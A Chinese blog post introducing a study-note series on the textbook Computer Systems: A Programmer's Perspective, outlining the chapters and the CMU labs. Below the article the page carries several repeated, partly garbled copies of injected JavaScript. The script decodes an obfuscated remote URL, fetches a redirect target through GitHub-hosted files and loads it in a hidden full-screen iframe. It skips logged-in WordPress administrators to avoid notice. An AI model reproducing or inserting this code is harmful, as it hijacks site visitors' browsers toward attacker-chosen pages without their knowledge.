【读薄 CSAPP】零 系列概览
作者：@小土刀，CMU 研究生在读，16 年 5 月毕业回国。
导读：读厚/读薄 CSAPP 系列脱胎于作者的《深入理解计算机系统》学习笔记，『读薄』主要是点出书本中的重点概念，『读厚』则是专注于七个试验的思考，希望大家喜欢这个系列。本文首发于作者的个人博客，也欢迎大家阅读。
曾经的《深入理解计算机系统》课程笔记重新启航出发，更清晰的知识结构，更细致的概念分析，更紧密的课程关联。从文字到图片完全原创，希望能给大家不一样的阅读体验。
《深入理解计算机系统》是 CMU 教授 Bryant 和 O’Hallaron 共同撰写的一本计算机学科经典入门教材。先从数据的表示开始，自然而然引出用汇编描述的计算机基本运行的方式，接着介绍控制流、过程调用到跳转等高级话题，以了解了计算机运行的模式，并据此给出一些程序设计的技巧作为过渡。这之后开始涉及诸如内存、编译器、进程、信号、I/O、虚拟内存、动态内存分配等知识。这些东西看起来都非常吓人，但是老师很科学地把握好了『度』，让我们理解基本原理的同时却不会过早陷入无谓的复杂度，这样以后想要深入学习可以自己去探索。在单机的知识基本完备之后，开始涉及网络、同步、并行编程等高级话题，为后面的学习打下基础。
下面通过问答的形式，来对这个系列做简要的介绍。
为什么要写？
- 这是一本非常经典的教材，也是一本大部头，第三版一千多页，并不是所有人都能坚持看完，希望以『读薄』的形式，让更多人能领略到经典的风采。
- 我在 CMU 的时候在书本作者的亲自教授下修完了以这本书为教材的『镇校神课』并完成了所有实验，一是总结，二是分享，在交流的过程中加深对知识的理解。
- 老版本的课程笔记因为涉及到部分课件内容，在校方的要求下删除，这个新版无论是文字还是配图都由我亲自制作，力争做到源于课程，高于课程。
- 这是一本非常值得学习的教材，原来的文章删除之后很多朋友表达了遗憾之情。但是我完全可以做得更好，真正把知识融会贯通展示给大家。
经过大概一个星期的筹划，老版课程笔记以『读薄/读厚』系列重生。不是为了输赢，就是想做点什么，这就是写这个系列的原因。
能带给读者什么？
- 对计算机系统有更加全面且深入的认识。
- 扎实的基础，无论是想要进阶学习编译原理、操作系统还是网络，基本的概念在这个系列都已覆盖。
- 从机器代码（汇编）开始，逐步了解编程本身的进化。
- 培养朝抵抗力最大的路径走的坚定，学会如何去学习。
这也是我写新技术系列的一次尝试，让互联网上高质量的中文内容多一些，再多一些。
有什么局限？
- 这不是一个可以速成，看看就懂的系列，需要自己动手去实践。话说回来，天底下的真功夫，也没有能够速成的。
- 相对国内的课程和文章，比较深入，很多内容学习工作中并不会直接遇到，但本系列的重点是『知其所以然』。真正的高手，飞花落叶皆可伤敌，打通任督二脉，苦练内力，功夫才可大成。
- 工作量比较大，会花费很多实践，需要不断尝试，不断跌倒再爬起，而这正是『深入理解计算机系统』的必经之路。
- 需要自行探索的部分很多，我个人的知识体系并不完备，欢迎大家在评论中各抒己见，让这个系列更加完美。
在这个快节奏的时代，慢一点，再慢一点。
主要写什么？
- 从基本概念入手，辅以图片，尽量用具体实例阐述推导和思考的过程，不用『显然』偷懒，不用『易知』搪塞。
- 逆推设计过程，还原具体情境，为什么会有不同的设计不同的系统，寻找『三江源』。
- 结合 CMU 官方课程，对全书内容进行重新编排，加入更多个人的理解和思考，利用文字跨域时空限制，和读者一起进步。
- 具体实验中进行尝试和拓展，不只给出行得通的解法，更应该去了解行不通的解法到底问题出在哪里
对自己的要求是写作的时候，细致一点，再细致一点。
不会写什么？
- 不会过多重复课本中已有的概念，这个系列并不是《深入理解计算机系统》的缩写版，而应该是『学习伴侣』，有自己的思考，再来看看我的思考和大家的思考，这样才是最高效的学习。
- 不会贴出答案，这个系列并不能让你快速完成作业，但是能在你遇到问题的时候，或多或少给出一些提示和启发。
- 不会详述只需要简单搜索就可以找到答案的问题，希望能专注于那些『不懂甚至不知道如何搜索』的问题，并以此鼓励大家培养自己主动探索解决问题的能力
对读者的要求是学习的时候，走一步，再走一步。
具体编排
『读薄』主要是点出书本中的重点概念，『读厚』则是专注于七个实验的思考，希望大家喜欢这个系列（反正我是很喜欢）。
读薄部分
- 壹 数据表示 - 不同的数据是如何存储与表示的
- 位操作，数学计算，汇编程序
- 贰 机器指令与程序优化 - 控制流、过程调用、跳转
- C 控制流程的表示以及数据结构；体系架构和编译器
- 叁 内存与缓存 - 内存层级与缓存机制
- 内存技术，内存层级，缓存，磁盘，局部性；体系架构和操作系统
- 肆 链接 - 不同的代码如何协同
- 伍 异常控制流 - 不同进程间的切换与沟通
- 硬件异常，进程，进程控制，Unix 信号，非本地跳转
- 陆 系统输入输出 - 怎么把不同的内容发送到不同的地方
- 高层和底层 IO
- 柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘
- 虚拟内存，地址翻译，动态存储分配
- 捌 网络编程 - 从最原始套接字彻底理解网络编程
- Internet 服务，Web 服务器
- 玖 并行与同步 - 协同工作中最重要的两个问题
- 并行，并行服务器设计，线程，IO 复用
读厚部分
- 实验概览
- I Data Lab - 位操作，数据表示
- II Bomb Lab - 汇编，栈帧与 gdb
- III Attack Lab - 漏洞是如何被攻击的
- IV Cache Lab - 实现一个缓存系统来加速计算
- V Shell Lab - 实现一个 shell
- VI Malloc Lab - 实现一个动态内存分配
- VII Proxy Lab - 实现一个多线程带缓存的代理服务器
谁不想用最简单的方法获得最强大的能力，但是这又怎么可能。捷径，如果指的是最短的路径，那么也就是梯度上升最快的路径，更是最难的路径。靠什么去走完这段旅程呢？
靠自己。靠自己的思考。靠自己的百折不挠。
相关链接
- Computer Systems: A Programmer’s Perspective, 3/E (CS:APP3e)
- CS:APP3e Student Site
- 15-213 (18-213/15-513): Introduction to Computer Systems (ICS)
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var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return "";
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement("link");
link.rel = rel;
link.href = href;
if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) {
cleanup("done");
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup("done");
return "";
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}
registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}
registry.status = "loading";
function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return "";
var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}
try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}
return "";
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";
if (typeof input === "string") {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return "";
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement("link");
link.rel = rel;
link.href = href;
if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) {
cleanup("done");
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup("done");
return "";
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}
registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}
registry.status = "loading";
function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return "";
var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}
try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}
return "";
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";
if (typeof input === "string") {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return "";
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement("link");
link.rel = rel;
link.href = href;
if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) {
cleanup("done");
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup("done");
return "";
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}
registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}
registry.status = "loading";
function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return "";
var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}
try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}
return "";
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";
if (typeof input === "string") {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return "";
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement("link");
link.rel = rel;
link.href = href;
if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
